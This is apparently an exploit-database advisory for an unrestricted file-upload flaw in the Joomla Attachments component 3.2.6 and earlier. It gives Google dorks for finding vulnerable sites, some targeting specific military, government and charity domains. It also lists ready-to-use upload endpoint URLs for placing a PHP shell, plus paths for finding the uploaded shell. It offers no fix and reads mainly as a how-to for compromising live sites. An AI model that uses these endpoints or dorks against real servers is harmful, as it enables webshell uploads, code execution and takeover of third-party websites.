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Joomla Attachments 3.2.6 Shell Upload

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# Exploit Title : Joomla Attachments Components 3.2.6 Shell Upload
# Author [ Discovered By ] : KingSkrupel ####################################################################

# Exploit Title : Joomla Attachments Components 3.2.6 Shell Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : jmcameron.net
# Software Download Links : jmcameron.net/attachments/
jmcameron.net/attachments/updates/3.2.6/attachments-3.2.6.zip
joomlacode.org/gf/download/frsrelease/18688/83852/attachments-2.2.2.zip
joomlacode.org/gf/project/attachments/frs/
github.com/sdc/DevonStudioSchool/tree/master/administrator/components/com_attachments/
# Software Information Links : extensions.joomla.org/extension/attachments/
joomlacode.org/gf/project/attachments/
joomlacode.org/gf/project/attachments3/
# Software Version : 2.2.2 and 3.2.6 / All previous versions.
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_attachments''
intext:''Desenvolvido com o CMS de codigo aberto Joomla'' site:mil.br
intext:''JSN Mico template designed by JoomlaShine.com'' site:gov.my
intext:''(c) Copyright 2011 TrekDesk Treadmill Desk.''
intext:''Tasarym ve Yazylym : 2A Ajans Unternet ve Tanytym Hizmetleri''
intext:''HLAVNI STRANKA - POCASI - SELF BRIEFING'' site:cz
intext:''(c) 2017 Panzaldomus s.r.l. | Corso Nazionale, 88 - 84020 Controne (SA)''
intext:''Desarollo eAprando.com'' site:py
intext:''(c) Dom Pomocy Spolecznej w Moczarach 2019''
intext:Seniorenverband BRH Niedersachsen
intext:''RasaByte'' site:org
intext:''CITTA DELLA GIOIA ONLUS 2019''
and more on Google and other Search Engines......
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Description about Software :
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The 'Attachments' extension allows files to be uploaded and attached to content

articles in Joomla. Includes a plugin to display attachments and a component

for uploading and managing attachments.

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# Impact :
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Joomla Attachments Components 3.2.6 and other previous versions could allow a

remote attacker to upload arbitrary files upload/shell upload, caused by the improper validation

of file extensions by the multiple scripts to index.php. The issue occurs because

the application fails to adequately sanitize user-supplied input.

Exploiting this issue will allow attackers to execute arbitrary code within

the context of the affected application. This may facilitate unauthorized access

or privilege escalation; other attacks may also possible.

By sending a specially-crafted HTTP request, a remote attacker could exploit

this vulnerability to upload a malicious PHP script, which could allow the

attacker to execute arbitrary PHP code on the vulnerable system.

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# Arbitrary File Upload/Shell Upload Exploit :
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/index.php?option=com_attachments&task=upload&article_id=[PUT-ID-NUMBER-HERE]&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&article_id=11&tmpl=component&from=closeme

/index.php/en/?option=com_attachments&task=upload&article_id=21&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&uri=url&parent_id=[PUT-ID-NUMBER-HERE]&parent_type=com_content&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&uri=file&parent_id=22&parent_type=com_content&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&uri=url&parent_id=34&parent_type=com_content&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&uri=url&parent_id=142&parent_type=com_content&tmpl=component&from=closeme

/index.php?option=com_attachments&task=upload&parent_id=,new&parent_type=com_content.article&from=closeme&editor=article

# Directory File Paths :
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/index.php?option=com_attachments&task=download&id=[ID-NUMBER]

/index.php?option=com_attachments&task=download&file=[FILENAME.php]

/attachments/article/[ID-NUMBER]/[FILENAME.php]

/index.php?option=com_attachments&task=update&id=index.php&update=file[FILENAME.php]&tmpl=component&from=article

/administrator/components/com_attachments/........

/administrator/components/com_attachments/views/attachments/tmpl/........

Note : It is unknown exactly where the file is located. You have to search carefully.

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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